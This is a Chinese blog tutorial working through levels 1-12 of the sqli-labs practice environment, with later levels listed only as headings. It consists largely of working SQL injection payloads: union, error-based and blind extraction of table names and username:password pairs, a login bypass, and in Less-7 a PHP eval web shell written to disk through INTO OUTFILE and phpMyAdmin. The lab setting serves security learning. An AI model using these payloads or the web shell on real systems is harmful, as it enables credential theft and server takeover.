sqli-lab教程——1-35通关

刚做sqli-lab的时候,我逛了几个博客论坛没找到什么特别完整的教程,在这里写一篇更完整的教程。

本教程中使用到的大部分函数可以在我的sql注入入门必备基础知识中找到具体说明和使用方法。

一些术语使用错误请见谅。

一些题目有多种方法,本人也是在学习当中,我会尽可能补全,但是精力有限,文章不尽完美,请见谅。

目录

Page-1(Basic Challenges)

在这里插入图片描述

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

  • 方法一:手工UNION联合查询注入

输入单引号,页面报错,如下图所示
在这里插入图片描述
根据报错信息,可以确定输入参数的内容被存放到一对单引号中间

猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=‘1’ …

也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致

多余的步骤不多说了,直接开始爆数据吧

注意id=非正确值
爆库payload

?id=-1' union select 1,2,database() --+

得到’security’库名
在这里插入图片描述
爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users,显然users是用户数据表

爆列名(字段)payload

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述
爆值payload

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。
在这里插入图片描述

  • 方法二:手工报错型注入

检测报错型payload

?id=1' and 1=1--+    //正确
?id=1' and 1=2--+    //失败

在这里插入图片描述
证明确实存在手工报错型注入

注意id=正确值

爆表payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

在这里插入图片描述
爆列名(字段)payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

在这里插入图片描述
显然没有完全显示

使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

爆值payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

在这里插入图片描述
同样使用not in显示其他值

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
  • 方法三:sqlmap工具自动注入

sqlmap最起码适用于1-10题,其他没试过,sqlmap的使用有教程,我先不在这里写了,毕竟这篇主要是理解sql注入的教程

以后有空再补充吧

注入结束

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入

就是,把第一题中id=1后面的单引号去掉,其它保持不变就行了,不再赘述

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=( ‘1’) …,在第一题中id=1’的后面单引号加上),其它保持不变就行了,不再赘述。

其实我推荐,做完题去看看它题目的php传参语句,和过滤语句,对理解sql注入原理很有帮助的。
在这里插入图片描述

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

输入单引号,页面无任何变化,

输入双引号,页面报错,

根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,

猜想一下:select … from … where id=(”1”) …,把第一题中1后面的引号换成双引号加)就可以了。

不再赘述。

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

在这里插入图片描述
看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了

下面给出验证时间延迟型的盲注:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。

布尔型和时间延迟型盲注建议采用sqlmap去跑。

其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。

一些专业术语的误用请见谅。

  • 方法一:时间延迟型手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

时间延迟型和报错型 payload核心部分的构造相同

本方法中payload = ?id=1’ and if( 报错型 payload核心部分,sleep(5),1)–+

爆库长payload

?id=1' and if(length(database())=8,sleep(5),1)--+

在这里插入图片描述
明显延迟,数据库长度为8.

爆库名payload

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

在这里插入图片描述
​明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

还有下面的还几个用户没爆破,重复性的工作,我们技术人,应该少做,要学会如何在前人的基础上更近一层,前几天看了刘慈欣的《乡村教师》,感触很深,我们使用声波文字这样的载体传输信息,每秒传输几个字节,而且我们的存储体系很弱,这就很大程度阻止我们人类文明进程的发展速度的提高。

所以要在更多的在前人的基础上创造新的东西。

这种重复性的工作,不要多做。sql注入,人生苦短,快用sqlmap。

  • 方法二,布尔型手工注入

在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。

暴库payload

?id=1' and left((select database()),1)='s'--+

在这里插入图片描述
在这里插入图片描述
可以看>'t’无回显,而<'t’有回显。

最终确定的库名为security。

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。

爆字段payload

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

用户名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。

  • 方法三,使用concat聚合函数

参考资料:http://www.2cto.com/article/201303/192718.html

简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。

比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

查询数据库版本,我在phpmyadmin中测试:
在这里插入图片描述
可以看到测试的错误信息中出现了版本号。即构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中。废话不多说,想了解更详细的看链接的内容,下面进入正题。

payload在concat()中构造

爆库payload​

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//或者
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//注意本本方法具有随机性,原理待研究

在这里插入图片描述
爆用户payload

?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

爆表名payload

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password

爆列名payload

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历列名,找到username和password列

爆字段payload

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
​修改limit x,1 可以显示第x个用户的password和username (’['是分隔符)

注入结束。

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数。

步骤和第五题一样,不再赘述。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

几次尝试,不难猜出注释符被过滤了,但是看看题目:less 7 GET - Dump into outfile - String (导出文件GET字符型注入)

所以大概要使用文件导出。我投机取巧了,找了个简单题less-2直接注入拿到路径,方便导出。

这里插个小扩展:

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就…/var/www/htm,…/var/www/html/htdocs

phpstudy 就是…\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是…\xampp\htdocs

payload

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

在这里插入图片描述
注入less-7

payload

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\ttt.php"--+

php的一句话我就不多解释了。

注意下这里的路径必须用 \
在这里插入图片描述
虽然回显报错,但是查看本地文件已经写入了ttt.php,接下来中国菜刀(有需要的可以给评论一下,Email给你)连接一下。

连接之前最好用浏览器访问一下,相当于运行一下,否则可能连不上。

地址:php一句话木马的地址,后面的口令就是刚才写的post里写的cmd,当然可以使用其他口令。
在这里插入图片描述
在这里插入图片描述
本题是导出文件GET字符型注入,实际情况下,如果可扫描出phpmyadmin的后台,并且后台使用弱口令,也可以通过爆破进入后台,从后台注入文件。

大致过程:

再phpmyadmin的sql中执行命令:

 1. use test; //选择数据库为test
 2. create table test(bbb varchar(64)); //在数据库中创建一个表test
 3. insert into test values("<?php @eval($_POST['cmd']);?>"); //在test中插入一条数据
 4. <?php @eval($_POST['cmd']);?> select * from test into outfile '一句话木马路径'; //将test中的数据导出到php文件

在这里插入图片描述
然后菜刀连接一下。

再或者直接用sqlmap跑也是可以的,不在赘述。

注入完成。

PS:
需要说一下这个方法需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。

这是个坑,这里说一下方法,方便读者,不需要麻烦的再去找其他博客资料。

如果你使用的时phpstudy,或者xammp请修改其自己的环境里的mysql配置文件。

进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
在这里插入图片描述
如果引号中是一个文件路径的话,导入/出的文件路径会再这个路径下。

这破问题困扰我挺长时间的,现在在这说下,让以读者少走弯路。

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

题目名字暴露一切,本来不想看的,又瞥到了,布尔型盲注,单引号,id=1回显,价格单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 --+ 回显了,证明没跑了。
在这里插入图片描述
那就一步一步来吧,和less5一样的,根据回显判断。

可以通过 > < 比较字符大小加速爆破

暴库payload

?id=1' and left((select database()),1)='s'--+

库名长度可使用?id=1’ and length(database())=8–+ 判断,同理表名字,段名等。

最后得到库名?id=1’ and left((select database()),8)=‘security’–+

爆表,爆字段,爆值,流水操作,和Less5的方法二,手工注入所有payload一摸一样,不再赘述。

Less5的方法二,时间型的注入一样能用,

但是不知道为什么concat聚合函数这题用不了。

注入完成。

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

不管怎么输入,回显总是you are …
在这里插入图片描述
考虑时间型盲注,payload

?id=1' and sleep(3) --+

注意id=1,发现明显延迟,说明注入成功,接下来爆破就完了。

这道题的payload构造和第五题的方法一是一样的,一些废话就不多说了,这里就列一下过程,完事儿。

爆库payload

?id=1' and if(length(database())=4 , sleep(3), 1) --+

发现当?id=1’ and if(length(database())=8 , sleep(3), 1) --+时明显延迟,所以库名长为8

?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+

发现明显延迟说明库名第一个字符为 ‘s’

继续爆破?id=1’ and if(left(database(),8)=‘security’ , sleep(3), 1) --+

说明库名为 ‘security’

爆表payload

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+

使用limit x,1 查询第x个表名,和爆破库名一样,第一个表名为referer。终于,在第三个表爆到users这个表,显然是用户信息表。

爆字段payload

定向爆破password和username,这里就不解释了,第五题里面写的比较详细了。

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

我在第4,9行分别爆破到password和username,个人环境不同的可能表位置有差别。

爆值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

爆破到第一个人的username:dumb,password:dumb。修改limit x,1 继续爆破其他用户,手工注入比较慢,可以使用sqlmap。

注入结束。

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入,不再赘述。

  • 11到21关的提交方式全是post型的,我这里使用火狐浏览器的HackBar
  • 实践证明,只能使用burpsuit抓包软件,修改post参数,所以弃用hackbar,改用burpsuit。

界面常用选项介绍
在这里插入图片描述
Less11-Less20登陆框的题可以输入带’,",),的账号密码,根据报错判断sql查询语句的构造方式:
在这里插入图片描述

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

模拟真实环境,我们作为Dump用户使用Dump密码登陆,可以看到以下
在这里插入图片描述
登陆成功

此时打开hackbar选中post可以看到,已经自动载入的刚才提交的表单数据:
在这里插入图片描述
我刚测试了一下,hackbar提交uname=admin’ and 1=2 --+&passwd=admin&submit=Submit作为post参数时,无论and后面是1=1

还是1=2,都能登陆,不知道为什么,可能是提交的时候自动加了+号连接语句的问题。

所以现在改用burpsuit,抓包修改参数。

  • 重新来过

输入admin admin 登陆,抓包,发送到repeater模块
在这里插入图片描述
在repeater中通过修改post的参数进行注入。

  • 方法一 extractvalue测试payload
 1. uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
 2. uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆

在这里插入图片描述
说明注入生效,存在报错型注入,接下来又是重复性工作,上extractvalue()

爆库payload

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

爆表payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

只能查询到前几个表,后面加上not in ()就可以查到其他表了,如:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

这里我们发现没有更多的表了,而users表应该是存放用户信息的,所以我们进入下一步。

爆列名payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

使用同样方法,可以查询到其他列名,直到遍历出所有列名,我们找到password和uername,开始爆值。

爆值payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

同样使用not in 可以查询其他值:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit

在这里插入图片描述

  • 方法二 联合查询union select测试payload
uname=0' union select 1,2  --+&passwd=admin&submit=Submit

注意uname是错误的,才能显示联合查询内容。
在这里插入图片描述
可以注入。

然后就是最基本的union select注入,打个样:

爆库payload

uname=0' union select 1,database() --+&passwd=admin&submit=Submit

不再赘述。

注入结束。

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

  • 方法一,双引号报错型注入

按照题意应该是可以使用上一题的payload只需要修改单引号为双引号,但是实际测试不行,无论我使用–+还是%23还是#都不行,我就看了一下php文件:
在这里插入图片描述
可以看到sql查询语句:

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

构造一个能闭合语句而且会报错的payload:

admin"  and extractvalue(1,concat(0x7e,(select database())))  and " 

最终admin = “admin” and extractvalue(1,concat(0x7e,(select database()))) and " "

传入后就变成了:

@$sql="SELECT username, password FROM users WHERE username="admin"  and extractvalue(1,concat(0x7e,(select database())))  and " " and password=($passwd) LIMIT 0,1";

前闭合,中间查询,后面报错,应该是这样没错了,实际测试没问题,可以回显,接下来就再concat()中构造查询语句:

爆库payload

uname=admin" and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin&submit=Submit

爆表payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))  and "  &passwd=admin&submit=Submit

爆列payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))  and "  &passwd=admin&submit=Submit

同样使用not in查询没有显示出的其他值。

爆值payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))  and "  &passwd=admin&submit=Submit
  • 方法二,联合注入查询
uname=0") union select 1,database() --+ &passwd=admin&submit=Submit

和Less-11一样的联合查询,不再赘述。

  • 方法三,奇淫技巧

在这里插入图片描述
报错的内容为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin") LIMIT 0,1’ at line 1

可以看出,他在我们输入的哪里多加了一个双引号和括号。

据此构造出万能密码的Payload:

账号:admin")#

注入结束。

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

Page-2 (Advanced Injections)

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

Less-25 Trick with OR & AND (过滤了or和and)

Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)

Less-26(failed) Trick with comments and space (过滤了注释和空格的注入)

26-28转自 https://blog.csdn.net/nzjdsds/article/details/77430073#t9

以下26-28未经验证

less 26 Trick with comments and space (过滤了注释和空格的注入)

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

less 27a GET - Blind Based- All your UNION & SELECT belong to us

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入

Less-29 基于WAF的一个错误

Less-30 Get-Blind Havaing with WAF

Less-31 Protection with WAF

Less-32 Bypass addslashes()

Less-33 Bypass addslashes()

Less-34 Bypass Add SLASHES

Less-35 why care for addslashes()

结语

————————————————
版权声明:本文为CSDN博主「蛇皮团团怪」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41420747/article/details/81836327

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 数字20 设计师:CSDN官方博客 返回首页